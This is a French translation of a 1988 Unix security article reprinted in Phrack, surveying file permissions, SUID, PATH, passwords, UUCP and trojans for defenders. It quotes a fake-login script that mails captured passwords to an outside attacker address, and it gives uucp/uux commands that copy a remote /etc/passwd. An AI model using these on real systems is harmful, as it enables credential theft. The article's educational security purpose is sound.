==Phrack Inc.== Volume Deux, Édition 18, Article 7 sur 11 +--------------------------------------+ | "La sécurité d'Unix en question" | | Écrit par : | | Whisky | | (Pays-bas, Europe) | +--------------------------------------+ | In | | Information Age | | Vol. 11, N° 2, Avril 1988 | | Écrit par : | | Michael J. Knox et Edward D. Bowden | +--------------------------------------+ Note : Cet article m'a été envoyé par un ami en Hollande. J'ai estimé que cela serait une bonne idée de présenter cet article à la communauté des hackers sous Unix, afin de prouver que les hackers ne nuisent pas toujours aux systèmes, mais recherchent parfois des méthodes pour sécuriser les failles des systèmes existants. -- Jester Sluggo !! Un certain nombre d'éléments ont favorisé la popularité du système d'opération Unix dans le monde actuellement. Les facteurs les plus notables sont sa portabilité parmi les plates-formes matérielles et l'environnement de programmation interactif qu'il offre à ses utilisateurs. En fait, ces éléments sont pour beaucoup dans l'évolution réussie du système Unix sur les marchés commerciaux. (1, 2) Pendant que le système Unix prend de plus en plus de poids auprès de l'industrie et du gouvernement, la nécessité de prendre en compte la sécurité du système Unix deviendra sans aucun doute impérative. Par exemple, le gouvernement des États-Unis consacre plusieurs millions de dollars par an au système Unix et au matériel qu'il soutient. (1) Les conditions de sécurité gouvernementale nécessaires sont énormes, et on peut seulement conjecturer sur les besoins futurs de sécurité dans l'industrie. Dans cet article, nous aborderons quelques-uns des risques de sécurité les plus fondamentaux du système Unix. On discutera des causes habituelles de compromission du système Unix dans des secteurs tels que la protection des fichiers, la sécurité des mots de passe, la gestion du réseau et les menaces des hackers. En conclusion, nous aborderons les conséquences liées à la sécurité du système sous Unix, et leur influence directe sur la portabilité du système d'exploitation Unix. SÉCURITÉ DES FICHIERS ET DES RÉPERTOIRES Dans l'environnement du système d'exploitation Unix, les fichiers et les répertoires sont organisés dans une structure arborescente avec des modes d'accès spécifiques. Le réglage de ces modes, par le jeu des bits de droits d'accès (en tant que chiffres octaux), est à la base de la sécurité du système Unix. Les bits de droits d'accès déterminent comment les utilisateurs peuvent accéder aux fichiers et le type d'accès auquel ils sont autorisés. Il existe trois types de droits d'accès utilisateur pour tous les fichiers et les répertoires sous Unix : le propriétaire, le groupe et les autres. Les droits d'accès à l'écriture, la lecture et l'exécution pour chacun des types d'utilisateur sont aussi contrôlés par les bits de droits d'accès (Schéma 1). La flexibilité en matière de sécurité des fichiers est avantageuse, mais elle a été critiquée comme vecteur de failles dans la sécurité du système. Permission modes OWNER GROUP OTHERS ------------------------------------------------------------ rwx : rwx : rwx ------------------------------------------------------------ r=read w=write x=execute -rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file drwx------ 2 sam A1 2 May 01 12:01 directory Schéma 1. Droits pour les fichiers et les répertoires : le fichier affiche Bob en tant que propriétaire, avec un droit d'accès en lecture et en écriture. Le groupe a un droit d'accès en écriture, tandis que les autres ont le droit de lire et d'exécuter. Le répertoire est sécurisé, avec des droits d'accès ne permettant pas la lecture, l'écriture ou l'exécution pour le groupe et les autres. Puisque le mécanisme de protection des fichiers est si important dans le système d'exploitation Unix, il est évident qu'un réglage approprié des bits de droits d'accès est requis pour une sécurité globale. Hormis l'ignorance de l'utilisateur, les cas de compromission de fichier les plus communs sont dus au réglage par défaut des bits de droit d'accès à la création des fichiers. Pour certains systèmes, ce réglage par défaut est l'octal 644, ce qui signifie que seul le propriétaire du fichier peut y écrire et y lire, pendant que tous les autres ne peuvent qu'y accéder en lecture. (3) Dans nombre d'environnements ouverts, ceci peut être acceptable. Cependant, au cas ou il existe des données sensibles, l'accès en lecture pour les autres devrait être désactivé. La commande umask répond en fait à cette exigence. Un réglage conseillé d'umask à 027 activerait tous les droits d'accès pour le propriétaire du fichier, ôterait le droit d'écriture au groupe et les tous les droits pour les autres (octal 750). En insérant cette commande umask dans le fichier .profile ou .login d'un utilisateur, le réglage par défaut sera écrasé par le nouveau paramétrage à la création d'un fichier. La commande CHMOD peut être employée pour modifier les réglages des droits d'accès des fichiers et des répertoires. Exécutez la commande suivante, chmod u+rwd,g+rw,g-w,u-rwx file donnera au fichier les mêmes protections que l'umask précédent (octal 750). Les bits de droits d'accès peuvent être modérés plus tard avec chmod, mais du moins au commencement, la structure des fichiers peut être sécurisée en utilisant umask de manière restrictive. En utilisant de façon responsable des commandes telles que umask et chmod, les utilisateurs peuvent accroître la sécurité de leur système de fichiers. Le système Unix, cependant, limite la sécurité définie par l'utilisateur aux seuls droits d'accès propriétaires, groupes et tous les autres. Ainsi, le propriétaire du fichier ne peut indiquer des droits d'accès aux fichiers d'un utilisateur spécifique. Comme l'ont précisé Kowack et Healy, la granularité du contrôle de ce mécanisme (de sécurité des fichiers) est souvent insuffisant en pratique (...), il n'est pas possible de garantir à un utilisateur une protection en écriture pour un répertoire tandis qu'on donne à un second des droits d'accès en lecture pour le même répertoire. (4) Les listes de droits d'accès dans le style de Multics pourraient se révéler une extension utile à la sécurité des fichiers du système Unix. En tenant compte des vulnérabilités des droits d'accès, les utilisateurs devraient porter un soin particulier aux fichiers et répertoires qu'ils administrent, et corriger les droits d'accès quand cela est possible. Même avec les limites de la conception du mode de granularité, suivre une approche prudente rendra la structure de votre système de fichiers sous Unix plus sécurisée. SUID ET SGID Le set user id (suid) et le set group id (sgid) identifient la paternité d'un utilisateur et d'un groupe sur un fichier. En plaçant les bits de droits d'accès suid ou sgid sur un fichier exécutable, d'autres utilisateurs peuvent obtenir un accès aux mêmes ressources (par l'intermédiaire du fichier exécutable) comme le propriétaire réel du fichier. Par exemple : Supposons que le programme bob.x de Bob soit un fichier exécutable accessible aux autres. Quand Mary exécute bob.x, Mary devient la nouvelle propriétaire du programme. Si pendant l'exécution du programme, bob.x demande à accéder au fichier browse.txt, alors Mary doit avoir des droits d'accès en lecture ou en écriture antérieurs sur browse.txt. Cela donnerait à Mary et à tous les autres un accès total sur le contenu de browse.txt, même si elle n'exécute pas bob.x. En activant le bit suid sur bob.x, Mary aura les mêmes autorisations d'accès à browse.txt que le réel propriétaire du programme, mais elle n'aura accès à browse.txt que pendant l'exécution de bob.x. Par conséquent, en ajoutant suid ou sgid, on évitera d'afficher malencontreusement des fichiers tels que browse.txt. Bien que ce dispositif semble offrir un contrôle d'accès substantiel au système de fichiers sous Unix, il n'est pas exempt d'un défaut majeur. Il est toujours possible que le super-utilisateur (l'administrateur du système) puisse avoir un fichier accessible en écriture pour les autres pour lequel est aussi activé le suid. En modifiant le code du programme (un hacker par exemple), un tel fichier exécutable permettrait à un utilisateur de devenir administrateur. En très peu de temps, cet intrus pourrait compromettre complètement la sécurité du système et le rendre inaccessible, y compris aux autres administrateurs. Ainsi que Farrow (5) le souligne, "(...) avoir une copie set user id d'un shell dont le propriétaire est root est meilleur que de connaître le mot de passe root". Pour corriger cette faille de sécurité, les fichiers suid accessibles en écriture devraient être recherchés et supprimés par l'administrateur du système. Le signalement de tels fichiers par les utilisateurs normaux est aussi essentiel pour corriger des brèches de sécurité existantes. LES RÉPERTOIRES La protection des répertoires est généralement un élément négligé dans la sécurité des fichiers sous Unix. Nombre d'administrateurs et d'utilisateurs ignorent ce fait, selon lequel les répertoires publics accessibles en écriture fournissent la plupart des moyens propres à compromettre la sécurité d'un système Unix (6). Les administrateurs inclinent à les rendre ouverts aux utilisateurs afin que ces derniers les utilisent et accèdent aux fichiers publics et aux applications. Cela peut se révéler désastreux, car des fichiers et d'autres sous-répertoires parmi des répertoires accessibles en écriture peuvent être déplacés et remplacés par d'autres versions, même si les fichiers inclus ne sont pas accessibles pour autrui en lecture ou en écriture. Quand cela se produit, un utilisateur sans scrupules ou un casseur de mot-de-passe peut remplacer par un cheval de Troie une commande système fréquemment utilisée (c'est-à-dire. ls, su, mail etc.....) Par exemple, imaginez que le répertoire /bin soit accessible en écriture. L'assaillant pourrait d'abord supprimer l'ancienne version de su (avec l'application rm) et ajouter alors son propre su factice, pour lire les mots de passe des utilisateurs qui exécutent ce programme. Bien que les répertoires accessibles en écriture puissent menacer l'intégrité du système, ceux accessibles en lecture peuvent être tout autant redoutables. Parfois, des fichiers et des répertoires sont configurés pour que tout le monde puisse les lire. Ce subtil avantage peut amener un dévoilement inopportun de données sensibles : cela devient un sérieux problème quand des informations pertinentes sont divulguées à un concurrent en affaires. En règle générale, donc, l'accès en lecture et en écriture devrait être interdit à tous, hormis les répertoires d'administration du système. Les droits d'accès en exécution permettrons l'accès aux fichiers nécessaires; cependant, des utilisateurs devront nommer explicitement le fichier auquel ils veulent accéder. Ce procédé ajoute une certaine protection aux répertoires non accessibles en lecture et en écriture. Ainsi, une commande telle que lp file.x dans un répertoire /ddr non accessible en lecture affichera le contenu de file.x, tandis que ls/ddr n'affichera pas le contenu de ce répertoire. LA VARIABLE D'ENVIRONNEMENT PATH PATH est une variable d'environnement qui pointe sur une liste de répertoires, qui est recherchée quand un fichier est requis par un processus. L'ordre de cette recherche est indiquée par la séquence des répertoires listés dans la variable PATH. Cette variable est établie lors de l'ouverture de session de l'utilisateur et elle est définie dans les fichiers .profile ou .login à la racine du répertoire de l'utilisateur [NDT : sur les systèmes actuels (en 2007), les fichiers concernés sont .bash_profile et/ou .bashrc]. Si un utilisateur place le répertoire courant en première place dans le PATH, alors les programmes du répertoire courant seront exécutés en premier. Des programmes homonymes dans d'autres répertoires seront ignorés. Bien que l'accès aux fichiers et aux répertoires soient plus aisés avec une variable PATH définie de cette manière, il peut exposer un utilisateur à des chevaux de Troie préexistants. Pour illustrer ceci, supposons qu'un cheval de Troie, semblable au programme cat, contienne une instruction qui donne des droits d'accès privilégiés à un assaillant. Le programme cat factice est placé dans un répertoire public /usr/his , dans lequel un utilisateur travaille souvent. À présent, si l'utilisateur dispose d'une variable Path avec en premier le répertoire courant, et qu'il exécute la commande cat dans /usr/his, le programme cat factice dans /usr/his sera exécuté mais non la commande système cat située dans /bin. Afin d'éviter ce genre de type de violation du système, la variable Path doit être correctement définie. D'abord, si cela est possible, excluez le répertoire courant en tant que premier élément dans la variable Path et saisissez le nom complet du chemin quand vous invoquez des commandes système Unix. Ceci accroît la sécurité des fichiers, même s'il est moins pratique de travailler avec . Ensuite, si le répertoire courant doit être inclus dans la variable Path, alors il devrait toujours se trouver en dernier. De cette manière, des programmes tels que vi, cat, su et ls seront exécutés en premier depuis les répertoires systèmes tels que /bin et /usr/bin avant de chercher dans le répertoire courant de l'utilisateur. SÉCURITÉ DES MOTS DE PASSE L'authentification des utilisateurs sous Unix s'exerce grâce aux mots de passe personnels. Bien que des mots de passe ajoutent un niveau de sécurité supplémentaire aux contraintes physiques, ils sont eux-mêmes facteurs de la plupart des compromissions d'un système informatique. Le manque de conscience et de responsabilité des utilisateurs contribue grandement à cette forme d'insécurité informatique. Cela est vrai pour de nombreuses installations informatiques, ou l'identification par mot de passe, l'authentification et l'autorisation sont requis pour accéder aux ressources - et le système d'exploitation Unix ne fait pas exception. Les informations de mots de passe dans nombre de systèmes à temps partagé sont placées dans des fichiers à usage restreint et qui ne sont pas habituellement lisibles par les utilisateurs. Le système Unix diffère à cet égard, puisqu'il permet à tous les utilisateurs d'avoir un accès en lecture au fichier /etc/passwd (Schéma 2) ou sont stockés des mots de passe chiffrés et d'autres informations sur les utilisateurs. Bien que le système Unix applique une méthode de chiffrage dite à sens unique, et dans la plupart des systèmes une version de norme de chiffrement de données modifiée (DES, data encryption standard, norme de chiffrement de données), on connaît des méthodes pour casser des mots de passe. Parmi ces méthodes, les attaques par brute-force sont généralement les moins efficaces, tandis que les techniques utilisant des heuristiques (comme des bons essais et des informations sur le mots de passe) ont tendance à réussir. Par exemple, le fichier /etc/passwd contient des informations utiles telles que le nom d'utilisateur et des champs de commentaire. Les noms d'utilisateur sont particulièrement fructueux pour les casseurs de mot de passe, puisque nombre d'utilisateurs emploient des variantes de ces noms pour leur mots de passe (orthographe inverse, ajout d'un seul chiffre, etc.). Le champ de commentaire contient souvent des éléments tels qu'un nom de famille, un prénom, une adresse, un numéro de téléphone, le nom d'un projet et ainsi de suite. Citons Morris et Grampp (7) et leur article phare au sujet de la sécurité sous Unix : [Au sujet des noms d'utilisateur] Les auteurs ont étudié quelques douzaines de machines locales, en utilisant comme mots de passe d'essai une collection des vingt prénoms de femme les plus communs, chacun suivi par un seul chiffre. Le nombre total des mots de passe essayé était, donc, deux cent. Au moins un de ces deux cent mots de passe s'est avéré être un mot de passe valide sur chaque ordinateur étudié. [au sujet des champs de commentaire] (...) Si un assaillant sait quelque chose au sujet des utilisateurs d'un ordinateur, il s'offre alors nombre de nouvelles opportunités. Noms de famille et d'amis, les numéros d'immatriculation de véhicules, les loisirs et les animaux domestiques sont en des catégories particulièrement productives à essayer, notamment dans le cas improbable ou un balayage purement mécanique du fichier des mots de passe s'avèrerait décevant. Ainsi, il est fort probable qu'un assaillant persévérant trouvera des informations sur les utilisateurs dans le fichier /etc/passwd. Avec ceci à l'esprit, il est évident qu'un fichier de mots de passe ne devrait être lisible par personne hormis ceux qui s'occupent de l'administration du système. root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin Schéma 2. Le fichier /etc/passwd. Observez les champs de commentaire relatifs aux termes soulignés. La suppression des droits d'accès en lecture du fichier /etc/passwd ne résout pas entièrement le problème de base avec les mots de passe. Instruire les utilisateurs et les administrateurs est nécessaire pour garantir une utilisation correcte des mots de passe. D'abord, les bons mots de passe comptent au moins six caractères, ne contiennent pas d'informations personnelles et comprennent quelques caractères non-alphabètiques (en particulier des commandes) : 4score, my_name, luv2run (8). Ensuite, les mots de passe devraient être changés régulièrement tandis que les utilisateurs devraient éviter d'alterner entre deux mots de passe. Des mots de passe différents pour des ordinateurs et des fichiers distincts contribueront à protéger des informations sensibles. En conclusion, les mots de passe ne devraient jamais être accessibles aux utilisateurs non-autorisés. Réduire l'ignorance des utilisateurs quant au choix de mots de passe faibles rendra inévitablement le système plus sûr. SÉCURITÉ DU RÉSEAU Le système UUCP (Unix to Unix Copy, utilitaire de connexion UUCP) . Le réseau de système Unix le plus commun s'appelle le système UUCP, qui est un ensemble de programmes qui effectue des transferts de fichiers et l'exécution de commandes entre des systèmes distants. (3) Le problème avec le système UUCP est que les utilisateurs sur le réseau peuvent accéder aux fichiers d'autres utilisateurs sans autorisation d'accès. Comme Nowitz le mentionne ici (9) Le système UUCP, laissé sans restrictions, autorisera n'importe quel utilisateur venant de l'extérieur à exécuter des commandes et copier de l'intérieur ou de l'extérieur n'importe quels fichiers avec des droits d'accès en lecture/écriture pour un utilisateur d'uucp. Il appartient aux utilisateurs d'un site d'en prendre compte, et de prendre les précautions qui s'imposent. Ceci souligne l'importance d'une implémentation correcte par l'administrateur du système. Il faut prendre en compte quatre commandes système UUCP quand on examine la sécurité du système sous Unix. La première est uucp, une commande employée pour copier des fichiers entre deux systèmes Unix. Si uucp n'est pas correctement mis en oeuvre par l'administrateur système, n'importe quel utilisateur extérieur peut exécuter des commandes à distance et copier des fichiers depuis un autre utilisateur de session. Si on connaît le nom du fichier sur un autre système, on pourrait utiliser la commande uucp pour copier des fichiers de ce système sur le système de l'attaquant. Par exemple : %uucp system2!/main/src/hisfile myfile copiera le fichier hisfile se trouvant dans le répertoire /main/src de system2 dans le fichier myfile du répertoire local courant. Si des restrictions de transfert de fichiers existent sur l'un ou l'autre des systèmes, hisfile ne sera pas envoyé. S'il n'y a aucune restriction, n'importe quel fichier pourrait être copié depuis un utilisateur distant—y compris le fichier de mots de passe. La commande suivante copierait le fichier /etc/passwd du système distant dans le fichier local merci : %uucp system2!/etc/passwd merci Les administrateurs systèmes peuvent résoudre le problème uucp en limitant les transferts de fichier uucp dans le répertoire /user/spool/uucppublic. (8) Si on essaye de transférer un fichier ailleurs, un message affichera accès distant au chemin ou au fichier refusé et il n'y aura pas de transfert de fichier. Considérons à présent la seconde commande système UUCP uux. Sa fonction consiste à exécuter des commandes sur des ordinateurs distants sous Unix. On l'appelle exécution de commandes à distance et elle est le plus souvent employée pour envoyer des courriers entre des systèmes (mail exécute la commande uux en interne). L'aptitude à exécuter une commande vers un autre système introduit un sérieux problème de sécurité si l'exécution de commandes à distance n'est pas limitée. Par exemple, un système ne devrait pas permettre aux utilisateurs d'un autre système d'exécuter ce qui suit : %uux "system1!cat</etc/passwd>/usr/spool/uucppublic" ce qui emmènerait system1 à envoyer son fichier /etc/passwd dans le répertoire uucppublic de system2. L'utilisateur de system2 aurait à présent accès au fichier de mot de passe. Par conséquent, on devrait autorisé seulement quelques commandes d'accès à distance. Souvent la seule commande autorisée à exécuter uux est rmail, le logiciel de courrier électronique à usage restreint. L'application uucico est la troisième fonction système UUCP (cico : Copy In / Copy Out). Elle effectue le véritable travail de communication. Les commandes uucp ou uux n'invoquent pas réellement d'autres systèmes ; au lieu de cela, elles sont mises en file d'attente et l'application uucico démarre le processus distant. L'application uucico utilise le fichier /usr/uucp/USERFILE pour déterminer quels fichiers un système distant peut envoyer ou recevoir. Les contrôles de fichiers licites dans USERFILE sont à la base de la sécurité. Ainsi, l'administrateur système devrait contrôler soigneusement ce fichier. En outre, USERFILE contrôle la sécurité entre deux systèmes Unix en autorisant la définition d'un drapeau de procédure de rappel. Par conséquent, un certain degré de sécurité peut être obtenu en exigeant d'un système de vérifier si le système distant est licite avant que se produise une procédure de rappel. Uuxqt est la dernière fonction UUCP. Elle contrôle l'exécution de commande à distance. L'application uuxqt emploie le fichier /usr/lib/uucp/L.cmd pour déterminer quelles commandes fonctionneront en réponse à une requête d'exécution à distance. Par exemple, si on souhaite employer l'outil de courrier électronique, alors le fichier L.cmd contiendra la ligne rmail. Puisque uuxqt détermine quelles commandes auront l'autorisation d'être exécutées à distance, des commandes pouvant compromettre la sécurité du système ne devraient pas être incluses dans L.cmd. APPELER LE SYSTÈME UNIX Outre les commandes réseau UUCP, on devrait aussi prendre garde à la commande cu (appel au système Unix). Cu autorise un utilisateur distant à appeler un autre système d'exploitation. Le problème avec cu est qu'un utilisateur d'un système peu sûr peut utiliser cu pour se connecter à un système plus sécurisé et ensuite installer un cheval de Troie sur ce système. Il est évident que cu ne devrait pas être utilisé d'un système plus faible à un système plus fort, et il appartient à l'administrateur système de s'assurer que ceci n'arrive jamais. RÉSEAUX LOCAUX Avec le nombre croissant d'ordinateurs fonctionnant sous Unix, on doit réfléchir aux problèmes des réseaux locaux. Puisque les réseaux locaux sont conçus pour transmettre rapidement des fichiers entre des ordinateurs, la sécurité n'a pas été une priorité pour beaucoup de réseaux locaux, mais il existe des réseaux locaux sécurisés en voie de développement. Il est du ressort de l'administrateur système d'éviter les risques de sécurité en matière de réseaux. D'AUTRES ZONES DE COMPROMISSION Il existe de nombreuses méthodes employées par les hackers pour obtenir un accès dans les systèmes d'un ordinateur. Sous Unix, les chevaux de Troie, les usurpations et les suids sont les armes principales des intrus. Les chevaux de Troie sont des fragments de code ou des scripts shell qui jouent habituellement un rôle utile mais une fois activés par un utilisateur confiant, ils exécutent des tâches inattendues en faveur de l'intrus. Parmi les différents chevaux de Troie, c'est l'outil d'usurpation d'identité su qui se révèle le plus dangereux pour le système Unix. Souvenez-vous que le fichier /etc/passwd est lisible pour les autres, et contient également des renseignements sur tous les utilisateurs— même l'utilisateur root. Pensez à ce qu'un intrus pourrait faire si il était en mesure de lire ce fichier et de trouver un utilisateur root avec un répertoire accessible en écriture. Il pourrait facilement placer un su factice qui renverrait le mot de passe root à l'assaillant. Un tel cheval de Troie peut souvent être évité quand diverses mesures de sécurité sont prises, telles que, un fichier /etc/passwd avec des droits d'accès en lecture limités, un contrôle des répertoires accessibles en écriture et une variable PATH correctement définie. Un spoof est fondamentalement un canular qui fait croire à une victime crédule qu'une fonction d'usurpation d'ordinateur est réellement une opération système. Le piège de l'ouverture de session via un terminal est une astuce très populaire sur nombre de systèmes d'ordinateur. En affichant un format d'ouverture mensonger, un assaillant est en mesure de capter le mot de passe d'un utilisateur. Imaginons un utilisateur root ayant un instant quitté son poste. Un assaillant pourrait rapidement installer un processus d'ouverture de session tel que celui évoqué par Morris and Grampp (7) : echo -n "login:" read X stty -echo echo -n "password:" read Y echo "" stty echo echo %X%Y|mail outside|hacker& sleep 1 echo Login incorrect stty 0>/dev/tty On note que le mot de passe root d'un utilisateur est envoyé par courrier à l'assaillant qui a complètement compromis le système Unix. Le terminal factice d'ouverture de session agit comme si l'utilisateur avait saisi incorrectement le mot de passe. Il transfère alors le contrôle au processus stty, ne laissant de ce fait aucune trace de son existence. La prévention d'usurpation, comme la plupart des risques de sécurité, doit commencer avec l'éducation des utilisateurs. Mais une remèdes immédiat est parfois nécessaire avant que l'éducation puisse être prodiguée. En matière d'usurpation d'ouverture de session via un terminal, il existe quelques programmes de verrouillage du clavier qui offrent une protection à l'ouverture d'une session lorsque les utilisateur s'absentent de leurs terminaux. (8, 10) Ces programmes de verrouillage ignorent les interruptions engendrées par le clavier et ils attendent que l'utilisateur saisisse un mot de passe pour revenir au terminal de session. Puisque le mode suid a été déjà examiné dans la section mot de passe, nous indiquons simplement quelques solutions pour suid ici. D'abord, des programmes suid ne devraient être utilisés que s'il n'y a pas d'autres alternatives. Les suid ou les sgids non contrôlés peuvent conduire à compromettre le système. En second lieu, un shell restreint devrait être attribué à un processus qui migre d'un processus suid à un processus enfant. La raison de ceci est qu'un processus enfant non-privilégié pourrait hériter des fichiers privilégiés de ses parents. En conclusion, les fichiers suid devraient être accessibles en écriture à leurs propriétaires seulement, sinon d'autres pourraient avoir un accès leur permettant d'écraser le contenu des fichiers. On peut voir qu'en appliquant quelques principes fondamentaux de sécurité, un utilisateur peut éviter les chevaux de Troie, les spoof et les suids inadéquats. IL existe plusieurs autres techniques employées par des assaillants pour compromettre la sécurité du système, toutefois l'emploi d'un bon jugement et l'éducation de l'utilisateur peuvent contribuer grandement à éviter ces problèmes. CONCLUSION Au cours de cet article, nous avons discuté des approches conventionnelles à la sécurité du système Unix par le biais de la pratique de la gestion des fichiers, de la protection des mots de passe et du réseau. Bien qu'on puisse dire que l'éducation de l'utilisateur est primordiale pour le maintien de la sécurité du système Unix (11), des erreurs humaines favoriseront un certain degré d'insécurité dans le système. Des avancées dans les mécanismes de protection grâce à des applications mieux codées (12), un contrôle centralisé des mots de passe (13) et des dispositifs d'identification pourraient favoriser une meilleure sécurité Unix. La question qui se pose à présent repose sur l'avenir du système d'opération Unix. Les systèmes Unix existants peuvent-ils s'adapter aux exigences du gouvernement et de l'industrie en matière de sécurité ? La réponse est négative, au moins pour les projets de sécurité gouvernementaux. D'après le Orange Book (14), une classification de la sécurité des systèmes informatiques évaluée par le gouvernement, le système Unix atteint seulement le degré de sécurité du critère C1. Un système C1, dont l'estimation de sécurité est basse (D étant la plus basse) assure seulement une protection de sécurité discrétionnaire (DSP) contre les navigateurs et les utilisateurs non-programmeurs. C'est clairement insuffisant quand il s'agit de la Défense ou d'entreprises privées. Il est nécessaire de procéder à des changements fondamentaux en matière de sécurité sous Unix. Cela a été reconnu par au moins trois entreprises, AT&T, Gould et Honeywell (15, 16, 17). Gould, en particulier, a effectué des modifications essentielles sur le noyau et le système de fichier afin de produire un système exploitation Unix évalué à C2. Pour réaliser ceci, cependant, ils ont du sacrifier une partie de la portabilité du système Unix. On espère que dans un proche avenir, un système Unix classé A1 sera mis en application, sans perdre toutefois son illustre portabilité. RÉFÉRENCES 1 Grossman, G R "How secure is 'secure'?" Unix Review Vol 4 no 8 (1986) pp 50-63 2 Waite, M et al. "Unix system V primer" USA (1984) 3 Filipski, A and Hanko, J "Making Unix secure" Byte (April 1986) pp 113-128 4 Kowack, G and Healy, D "Can the holes be plugged?" Computerworld Vol 18 (26 September 1984) pp 27-28 5 Farrow, R "Security issues and strategies for users" Unix/World (April 1986) pp 65-71 6 Farrow, R "Security for superusers, or how to break the Unix system" Unix/World (May 1986) pp 65-70 7 Grampp, F T and Morris, R H "Unix operating system security" AT&T Bell Lab Tech. J. Vol 63 No 8 (1984) pp 1649-1672 8 Wood, P H and Kochan, S G "Unix system security" USA (1985) 9 Nowitz, D A "UUCP Implementation description: Unix programmer's manual Sec. 2" AT&T Bell Laboratories, USA (1984) 10 Thomas, R "Securing your terminal: two approaches" Unix/World (April 1986) pp 73-76 11 Karpinski, D "Security round table (Part 1)" Unix Review (October 1984) p 48 12 Karpinski, D "Security round table (Part 2)" Unix Review (October 1984) p 48 13 Lobel, J "Foiling the system breakers: computer security and access control" McGraw-Hill, USA (1986) 14 National Computer Security Center "Department of Defense trusted computer system evaluation criteria" CSC-STD-001-83, USA (1983) 15 Stewart, F "Implementing security under Unix" Systems&Software (February 1986) 16 Schaffer, M and Walsh, G "Lock/ix: An implementation of Unix for the Lock TCB" Proceedings of USENIX (1988) 17 Chuck, F "AT&T System 5/MLS Product 14 Strategy" AT&T Bell Labs, Government System Division, USA (August 1987) [Traduit par deny]